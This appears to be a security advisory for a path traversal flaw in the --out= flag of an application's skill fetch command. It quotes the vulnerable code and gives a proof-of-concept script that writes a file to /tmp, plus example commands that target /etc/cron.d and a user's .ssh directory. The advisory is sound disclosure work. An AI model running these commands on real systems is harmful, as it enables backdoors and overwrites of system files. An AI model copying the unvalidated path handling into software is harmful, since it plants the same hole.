A path traversal vulnerability in the skill download (fetch) command allows attackers to write files to arbitrary locations on the filesystem. The --out= flag accepts user-provided paths without validation, enabling directory traversal attacks that can overwrite critical system files or create files in sensitive locations.
The vulnerability exists in index.js at lines 752-767:
// index.js:751-768
const outFlag = args.find(a => typeof a === 'string' && a.startsWith('--out='));
const safeId = String(data.skill_id || skillId).replace(/[^a-zA-Z0-9_\-\.]/g, '_');
// VULNERABLE: No path validation on user input
const outDir = outFlag
? outFlag.slice('--out='.length) // User-controlled path
: path.join('.', 'skills', safeId);
if (!fs.existsSync(outDir)) fs.mkdirSync(outDir, { recursive: true });
// ... downloads skill files to outDir
The outFlag.slice('--out='.length) extracts the user-provided path without any sanitization or validation. An attacker can provide paths like ../../../etc/cron.d to write files outside the intended directory.
Note: The safeId variable is sanitized via inline replacement (replace(/[^a-zA-Z0-9_\-\.]/g, '_')), but this sanitization only applies to the default path, not to the user-provided --out= path.
Prerequisites: - Node.js installed - Access to the evolver application
Steps to reproduce:
// test-file-write.js
const fs = require('fs');
const path = require('path');
// Simulate the vulnerable fetchSkill logic
function vulnerableFetchSkill(outFlag) {
const outDir = outFlag
? outFlag.slice('--out='.length) // No validation!
: path.join('.', 'skills', 'default');
console.log('Target directory:', outDir);
console.log('Resolved path:', path.resolve(outDir));
// In real code, this would write skill files
const targetFile = path.join(outDir, 'skill.js');
console.log('Would write to:', targetFile);
return { outDir, targetFile };
}
// Test cases
console.log('=== Test 1: Normal path ===');
vulnerableFetchSkill('--out=./my-skills/test');
console.log('\n=== Test 2: Path traversal ===');
const result = vulnerableFetchSkill('--out=../../../tmp/evolver-test');
// Actually demonstrate the vulnerability
console.log('\n=== Creating directory to prove traversal works ===');
try {
if (!fs.existsSync(result.outDir)) {
fs.mkdirSync(result.outDir, { recursive: true });
}
fs.writeFileSync(
path.join(result.outDir, 'poc.txt'),
'Path traversal successful!\nThis file was written outside the intended directory.'
);
console.log('SUCCESS: File written to:', path.resolve(result.targetFile));
} catch (e) {
console.log('Error:', e.message);
}
node test-file-write.js
Expected output:
=== Test 2: Path traversal ===
Target directory: ../../../tmp/evolver-test
Resolved path: /tmp/evolver-test
Would write to: ../../../tmp/evolver-test/skill.js
=== Creating directory to prove traversal works ===
SUCCESS: File written to: /tmp/evolver-test/poc.txt
Actual exploit scenario: An attacker can run:
# Write to system cron directory (requires appropriate permissions)
node index.js fetch malicious-skill --out=../../../etc/cron.d
# Or overwrite existing files
node index.js fetch existing-skill --out=../../../home/user/.ssh
This is an Arbitrary File Write vulnerability that can lead to: - Overwriting critical system files - Installing persistent backdoors (e.g., in cron directories) - Modifying SSH authorized_keys - Overwriting application code or configuration files - Privilege escalation if the process runs with elevated privileges
Affected users: Anyone using the fetch command with the --out= flag, especially in automated environments or CI/CD pipelines.
{
"github_reviewed_at": "2026-04-22T22:06:15Z",
"nvd_published_at": "2026-05-04T17:16:24Z",
"cwe_ids": [
"CWE-22"
],
"severity": "HIGH",
"github_reviewed": true
}